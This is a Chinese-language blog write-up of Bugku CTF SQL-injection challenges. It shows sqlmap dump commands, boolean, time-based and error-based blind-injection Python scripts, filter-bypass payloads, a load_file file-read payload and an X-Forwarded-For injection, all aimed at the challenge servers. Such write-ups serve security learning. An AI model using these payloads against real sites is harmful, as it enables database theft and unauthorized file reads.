N0rth3ty's Blog.

Bugku题目集锦0x02

字数统计: 1.8k阅读时长: 7 min
2018/06/12 Share

SQL注入题目合集

这是一个神奇的登陆框

传送门
在用户名的后面加一个\可以看到报错,应该是能够报错注入或者联合查询之类的
但是最近学到了一些骚套路,先来看看sqlmap

sqlmap

直接burp抓包另存为一个txt
使用如下命令

1
2
3
4
sqlmap -r "new.txt" -p admin_name --dbs   //爆数据库,注入点为admin_name
sqlmap -r "new.txt" -D bugkusql1 -p admin_name --tables //爆表
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -p admin_name --columns //爆字段
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump //爆数据

image
不得不承认sqlmap真的强大

手动注入

开始猜想的可能是报错注入,后来发现竟然是有回显的
这题目就奇怪在用的是双引号”来进行分割
其它直接正常爆就行了
image

login1

传送门
原理见SQL约束攻击
注册一个admin               xx
则可以用它的密码登陆admin了,但是注意空格要足够多,达到截断的目的
比较新颖的一个题目
image

longin3

传送门
布尔盲注,过滤等于时候的一个小trick,用<>,或者>加上^来进行注入
这里还有个小trick,我们并不需要查找到password的表,因为后台的逻辑可能是这样

1
select username from admin where usernam = ''

所以我们可以直接理由^和admin做异或,脚本如下,这里用的>绕过=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://47.93.190.246:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
for j in range(48,123):
payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i, j)
print(payload)
data = {"username": payload, "password": "123"}
r = s.post(url, data=data)
r.encoding = 'utf-8'
if r.text.find('error') != -1:
result += chr(j)
#print(result)
break
print(result)

MD5查询一下,然后登陆admingetflag

sql注入

传送门
基础题目,宽字节注入
在网页源码中可以看到gb2312,猜想宽字节注入(实际上来fuzz的时候就直接测试了
没什么特别的,不做赘述了,算是一种常见姿势

sql注入1

传送门
可以看到进行了黑名单过滤,无非就是绕过了
大小写是不行的,发现可以00截断(我也不知道这么叫对不对,大概这么个意思吧
上个payload

1
id=-1%20uni%00on%20se%00lect%201,database()%20%23

然后常规做法就行了
发现bugku的这些题目大多只涉及一个知识点,算是基础题目

多次

传送门
看到ID,先fuzz一下
一个单引号报错,%23闭合以后正常
用异或这个套路进行过滤检测,有两种套路,一种是注释闭合,一种是两个单引号,两个^闭合

1
2
id=1%27^(0)%23
id=1%27^(0)^%27

当括号中的值为真时页面会报错,则可以构造测试语句
比如判断union是否被过滤

1
id=1%27^(length(%27union%27))%23

返回的是id=1的界面,代表length(‘union’)返回值为0,union已经被过滤了,select也被过滤了
然后可以双写绕过,有意思的是,flag并不对,想到题干说有两个flag,又翻了翻
找到下一个网站的Payload

1
http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23

image
后半部分的入口
可以当作一个布尔注入用脚本跑,也可以用报错注入

bool注入

贴一个我写的很丑的脚本,不过效率还是蛮高的,二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

head = 'http://120.24.86.145:9004/Once_More.php?id='
payload = ''
index = ''
s = ''
for n in range(200):
left = 32
right = 127
while left<=right:
i = (left+right)//2
payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
index = head + payload
r = requests.get(index)
r.encoding = 'utf-8'
if r.text.find('Hello')!=-1:#小于返回1
right = i-1
else:
payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
index = head +payload
r = requests.get(index)
r.encoding = 'utf-8'
if r.text.find('Hello') != -1: # 大于返回1
left = i+1
else: #相等
s=s+chr(i)
print(s)
break

address字段有一个./Have_Fun.php,打开看看
二维码扫描后看到提示
image
还有后续注入,有点崩溃
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天没有结果。。最后把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部换为小写后提交又正确了
原因应该是LEFT,MID,RIGHT在比较的时候是不区分大小写的
但是不是很懂出题人留这个后续注入的意思,很迷,或许第二个flag是要把这个注入出来?有兴趣可以试试

报错注入

这里应该是可以报错注入的,可以尝试一下
这道题把我恶心到了,实在不想再倒回去研究报错注入了,等我期末考完有兴趣再贴上来

报错注入

传送门
过滤了空格,可以使用回车换行符还替代即%0a或%0d。
关于报错注入其实有很多东西,有一篇很好的文章
这里使用extractvalue()或者updatexml()进行报错,测试一条报错语句

?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)

成功报错,那之后就是读取文件了
load_file函数可以读取文件,但是一定要注意读取文件要进行hex编码,不然读不出来
又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()对hex()过的文件内容进行分割

?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)

反复更改substr的值就能读取整个文件了

INSERT INTO注入

传送门
直接给出了源码,简单的白盒代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

XFF可以注入,过滤了’,’
时间盲注,两个trick
逗号过滤的情况下可以使用

1
select case when xxx then xxx else xxx end

substr的逗号可以用如下姿势

from x for 1

最终可以构造如下payload,注意末尾多一个括号闭合之前的括号

127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #

上一个最终的注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
flag = ''

for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print(flag)
break

print(flag)

这里是用的一位dalao的脚本。。。
因为看了大佬的脚本才知道自己的写得是有多丑,就不把自己的放上来了
放上来供大家学习

上面算是sql注入题目的一个合集,从union联合查询,到三种盲注(bool盲注,时间盲注,报错注入)都有很好的例子
总得来说算是质量不错的题目,收获还是很多
所以后续更新个Mysql注入总结吧(flag++
等我考完期末,毕业要紧毕业要紧

CATALOG
  1. 1. SQL注入题目合集
    1. 1.1. 这是一个神奇的登陆框
      1. 1.1.1. sqlmap
      2. 1.1.2. 手动注入
    2. 1.2. login1
    3. 1.3. longin3
    4. 1.4. sql注入
    5. 1.5. sql注入1
    6. 1.6. 多次
      1. 1.6.1. bool注入
      2. 1.6.2. 报错注入
    7. 1.7. 报错注入
    8. 1.8. INSERT INTO注入